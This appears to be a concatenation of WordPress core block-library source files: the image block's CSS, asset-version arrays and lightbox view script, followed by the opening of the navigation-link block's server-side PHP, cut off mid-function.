:where([style*=border-width]){border-style:solid}.wp-block-image :where([style*=border-top-width]){border-top-style:solid}.wp-block-image :where([style*=border-right-width]){border-right-style:solid}.wp-block-image :where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-width]){border-left-style:solid}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;transition:opacity .2s ease;width:20px;z-index:100}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both;visibility:visible}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}@media (prefers-reduced-motion:no-preference){.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}<?php return array('dependencies' => array(), 'version' => '7500eb032759d407a71d');
.wp-block-image.wp-block-image.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;filter:none!important}.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{opacity:0}.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{opacity:0}.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{opacity:1}.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{transition:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__aspect-ratio{align-items:center;display:flex;height:46px;margin-bottom:-8px}.wp-block-image__aspect-ratio .components-button{padding-left:0;padding-right:0;width:36px}.wp-block-image__toolbar_content_textarea{width:250px}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:#ffffffa6}.wp-block-image{margin:0 0 1em}import*as t from"@wordpress/interactivity";var e={d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const n=(t=>{var n={};return e.d(n,t),n})({getContext:()=>t.getContext,getElement:()=>t.getElement,store:()=>t.store});let o,r,i=!1,l=0;const{state:a,actions:c,callbacks:s}=(0,n.store)("core/image",{state:{currentImage:{},get overlayOpened(){return a.currentImage.currentSrc},get roleAttribute(){return a.overlayOpened?"dialog":null},get ariaModal(){return a.overlayOpened?"true":null},get enlargedSrc(){return a.currentImage.uploadedSrc||"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="},get imgStyles(){return a.overlayOpened&&`${a.currentImage.imgStyles?.replace(/;$/,"")}; object-fit:cover;`}},actions:{showLightbox(){const t=(0,n.getContext)();t.imageRef?.complete&&(a.scrollTopReset=document.documentElement.scrollTop,a.scrollLeftReset=document.documentElement.scrollLeft,t.currentSrc=t.imageRef.currentSrc,o=t.imageRef,r=t.buttonRef,a.currentImage=t,a.overlayEnabled=!0,s.setOverlayStyles())},hideLightbox(){a.overlayEnabled&&(setTimeout((function(){r.focus({preventScroll:!0}),a.currentImage={},o=null,r=null}),450),a.showClosingAnimation=!0,a.overlayEnabled=!1)},handleKeydown(t){if(a.overlayEnabled){if("Tab"===t.key){t.preventDefault();const{ref:e}=(0,n.getElement)();e.querySelector("button").focus()}"Escape"===t.key&&c.hideLightbox()}},handleTouchMove(t){a.overlayEnabled&&t.preventDefault()},handleTouchStart(){i=!0},handleTouchEnd(){l=Date.now(),i=!1},handleScroll(){a.overlayOpened&&!i&&Date.now()-l>450&&window.scrollTo(a.scrollLeftReset,a.scrollTopReset)}},callbacks:{setOverlayStyles(){if(!o)return;let{naturalWidth:t,naturalHeight:e,offsetWidth:n,offsetHeight:r}=o,{x:i,y:l}=o.getBoundingClientRect();const c=t/e;let s=n/r;if("contain"===a.currentImage.scaleAttr)if(c>s){const t=n/c;l+=(r-t)/2,r=t}else{const t=r*c;i+=(n-t)/2,n=t}s=n/r;let g=parseFloat("none"!==a.currentImage.targetWidth?a.currentImage.targetWidth:t),u=parseFloat("none"!==a.currentImage.targetHeight?a.currentImage.targetHeight:e),d=g/u,h=g,m=u,p=g,f=u;if(c.toFixed(2)!==d.toFixed(2)){if(c>d){const t=g/c;u-t>g?(u=t,g=t*c):u=g/c}else{const t=u*c;g-t>u?(g=t,u=t/c):g=u*c}p=g,f=u,d=g/u,s>d?(h=g,m=h/s):(m=u,h=m*s)}(n>p||r>f)&&(p=n,f=r);let w=0;window.innerWidth>480?w=80:window.innerWidth>1920&&(w=160);const y=Math.min(window.innerWidth-w,p),b=Math.min(window.innerHeight-80,f);s>y/b?(p=y,f=p/s):(f=b,p=f*s);const x=n/p,v=g*(p/h),A=u*(f/m);a.overlayStyles=`\n\t\t\t\t:root {\n\t\t\t\t\t--wp--lightbox-initial-top-position: ${l}px;\n\t\t\t\t\t--wp--lightbox-initial-left-position: ${i}px;\n\t\t\t\t\t--wp--lightbox-container-width: ${p+1}px;\n\t\t\t\t\t--wp--lightbox-container-height: ${f+1}px;\n\t\t\t\t\t--wp--lightbox-image-width: ${v}px;\n\t\t\t\t\t--wp--lightbox-image-height: ${A}px;\n\t\t\t\t\t--wp--lightbox-scale: ${x};\n\t\t\t\t\t--wp--lightbox-scrollbar-width: ${window.innerWidth-document.documentElement.clientWidth}px;\n\t\t\t\t}\n\t\t\t`},setButtonStyles(){const t=(0,n.getContext)(),{ref:e}=(0,n.getElement)();t.imageRef=e;const{naturalWidth:o,naturalHeight:r,offsetWidth:i,offsetHeight:l}=e;if(0===o||0===r)return;const a=e.parentElement,c=e.parentElement.clientWidth;let s=e.parentElement.clientHeight;const g=a.querySelector("figcaption");if(g){const t=window.getComputedStyle(g);["absolute","fixed"].includes(t.position)||(s=s-g.offsetHeight-parseFloat(t.marginTop)-parseFloat(t.marginBottom))}const u=s-l,d=c-i;if("contain"===t.scaleAttr){const e=o/r;if(e>=i/l){const n=i/e;t.imageButtonTop=(l-n)/2+u+16,t.imageButtonRight=d+16}else{const n=l*e;t.imageButtonTop=u+16,t.imageButtonRight=(i-n)/2+d+16}}else t.imageButtonTop=u+16,t.imageButtonRight=d+16},setOverlayFocus(){if(a.overlayEnabled){const{ref:t}=(0,n.getElement)();t.focus()}},initTriggerButton(){const t=(0,n.getContext)(),{ref:e}=(0,n.getElement)();t.buttonRef=e}}},{lock:!0});.wp-block-image.wp-block-image.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  filter:none !important;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{
  opacity:1;
}
.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{
  transition:none;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__aspect-ratio{
  align-items:center;
  display:flex;
  height:46px;
  margin-bottom:-8px;
}
.wp-block-image__aspect-ratio .components-button{
  padding-left:0;
  padding-right:0;
  width:36px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color){border-style:solid}.wp-block-image :where([style*=border-top-color]){border-top-style:solid}.wp-block-image :where([style*=border-right-color]){border-left-style:solid}.wp-block-image :where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-color]){border-right-style:solid}.wp-block-image :where([style*=border-width]){border-style:solid}.wp-block-image :where([style*=border-top-width]){border-top-style:solid}.wp-block-image :where([style*=border-right-width]){border-left-style:solid}.wp-block-image :where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-width]){border-right-style:solid}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;transition:opacity .2s ease;width:20px;z-index:100}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);min-height:40px;min-width:40px;padding:0;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both;visibility:visible}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}@media (prefers-reduced-motion:no-preference){.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}
.wp-block-image :where(.has-border-color){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-color]){
  border-left-style:solid;
}
.wp-block-image :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-color]){
  border-right-style:solid;
}
.wp-block-image :where([style*=border-width]){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-width]){
  border-left-style:solid;
}
.wp-block-image :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-width]){
  border-right-style:solid;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  left:16px;
  opacity:0;
  padding:0;
  position:absolute;
  text-align:center;
  top:16px;
  transition:opacity .2s ease;
  width:20px;
  z-index:100;
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  overflow:hidden;
  position:fixed;
  right:0;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  left:calc(env(safe-area-inset-left) + 16px);
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  overflow:hidden;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  transform-origin:top right;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:100% 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  animation:turn-on-visibility .25s both;
  visibility:visible;
}
.wp-lightbox-overlay.active img{
  animation:turn-on-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active){
  animation:turn-off-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active) img{
  animation:turn-off-visibility .25s both;
}
@media (prefers-reduced-motion:no-preference){
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}<?php return array('dependencies' => array(), 'version' => 'ff354d5368d64857fef0');
<?php
/**
 * Server-side registering and rendering of the `core/navigation-link` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the navigation markup in the front-end.
 *
 * @param  array $context     Navigation block context.
 * @param  array $attributes  Block attributes.
 * @param  bool  $is_sub_menu Whether the link is part of a sub-menu.
 * @return array Colors CSS classes and inline styles.
 */
function block_core_navigation_link_build_css_colors( $context, $attributes, $is_sub_menu = false ) {
	$colors = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	// Text color.
	$named_text_color  = null;
	$custom_text_color = null;

	if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) {
		$custom_text_color = $context['customOverlayTextColor'];
	} elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) {
		$named_text_color = $context['overlayTextColor'];
	} elseif ( array_key_exists( 'customTextColor', $context ) ) {
		$custom_text_color = $context['customTextColor'];
	} elseif ( array_key_exists( 'textColor', $context ) ) {
		$named_text_color = $context['textColor'];
